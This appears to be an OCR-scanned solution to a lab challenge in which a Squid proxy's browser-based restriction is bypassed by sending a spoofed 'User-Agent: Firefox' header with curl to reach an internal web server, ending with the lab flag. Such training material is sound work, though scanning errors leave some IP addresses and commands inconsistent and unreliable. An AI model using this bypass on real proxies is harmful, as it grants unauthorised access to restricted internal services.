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Name Squid: Browser Based Restriction
URL https://www.attackdefense.com/challengedetails?cid=225
Type Infrastructure Attacks : Squid Proxy

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be

different in your lab.

Objective: You have to figure out a way to access the web portal and retrieve the flag!

Solution:

Step 1: Find ip address of the target machine

root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1@
link/loopback 00:00:00:00:00:00 brd ©0:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
6545: ethe@ife546: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gqdisc noqueue state UP group default
link/ether 22:42:2a:01:01:06 brd ff:ff:ff:ff:ff:ff link-netnsid o

inet 10.1.1.6/24 brd 10.1.1.255 scope global ethe
valid_1ft forever preferred_lft forever
6548: ethl@if6549: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 15@@ qdisc noqueue state UP group default
link/ether ©2:42:c©:49:19:02 brd ff:ff:ff:ff:ff:ff link-netnsid o
inet 192.73.25.2/24 brd 192.73.25.255 scope global ethl
valid_1ft forever preferred_lft forever
root@attackdefense:~#

The target server is at 192.73.25.3

Step 2: Perform nmap scan to identify the running services and open ports

Command: nmap 192.73.25.3
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root@attackdefense:~# nmap 192.64.3.3

Starting Nmap 7.7@ ( https://nmap.org ) at 2018-11-88 11:02 UTC

Nmap scan report for 507091v2i54v2urrucldoowk9.temp-network _a-64-3 (192.64.3.3)
Host is up (@.eeeel3s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

3128/tcp open squid-http

MAC Address: ©2:42:C0:40:03:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in ©.29 seconds
dattackdefense:~#

Step 3: Accessing web server through proxy using curl

Command: curl -x 192.73.25.3:3128 127.0.0.1:80

root@attackdefense:~# curl -x 192.73.25.3:3128 127.0.0.1:80

<IDOCTYPE html PUBLIC "-//W3C//DTD HTML 4.81//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html><head>

<meta type="copyright" content="Copyright (C) 1996-2015 The Squid Software Foundation and contributors">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>ERROR: The requested URL could not be retrieved</title>

<style type="text/css"><!--

<blockquote id="error">
<p><b>Access Denied.</b></p>
</blockquote>

<p>Access control configuration prevents your request from being allowed at this time. Please contact your service provider if you feel this is
incorrect.</p>

<p>Your cache administrator is <a href="mailto:webmaster?subject=CacheErrorInfo%20-%260ERR_ACCESS_DENIED&amp;body=CacheHost%3A%2@victim-1%eD%OAE
rrPage%3A%20ERR_ACCESS_DENIED%@D%OAErr#%3A%28%5BnoneX5D%OD%OATimeStamp%3A%20Thu, %2008%20Nov%202018%2011%3A22%3A18%20GMT48D%OA%OD%RACLlientIP%3A%2
0192.73.25.2%0D%0A%OD%OAHT TP%20Request%3A%OD%CAGET%20%2F%20HTTP%2F1 . 1%0AUser-Agent%3A%20@curl%2F7.61.0%0D%0AAccept%3A%20*%2F *%0D%@AProxy-Connect
ion%3A%20Keep-Alive%0D%0AHost%3A%20127 .0.0. 1%@D%0A%OD%OA%OD%OA" >webmaster</a>.</p>

<br>

</div>

Squid proxy is not allowing the request.

Step 4: Since the proxy accepts connection only from firefox browser. Send “User-Agent:
Firefox” as header with the curl command

Command: curl -H "User-Agent: Firefox" -x 192.73.25.3:3128 127.0.0.1:80

root@attackdefense:~# curl -H "User-Agent: Firefox" -x 192.73.25.3:3128 127.9.0.1:80
Congragulations you've successfully completed the challenge, here is your flag: 2F51D6A3271E1F892044DE948CFFC49
root@attackdefense:~#

Flag: 2F51D6A3271E1F892044DE948CFFC497
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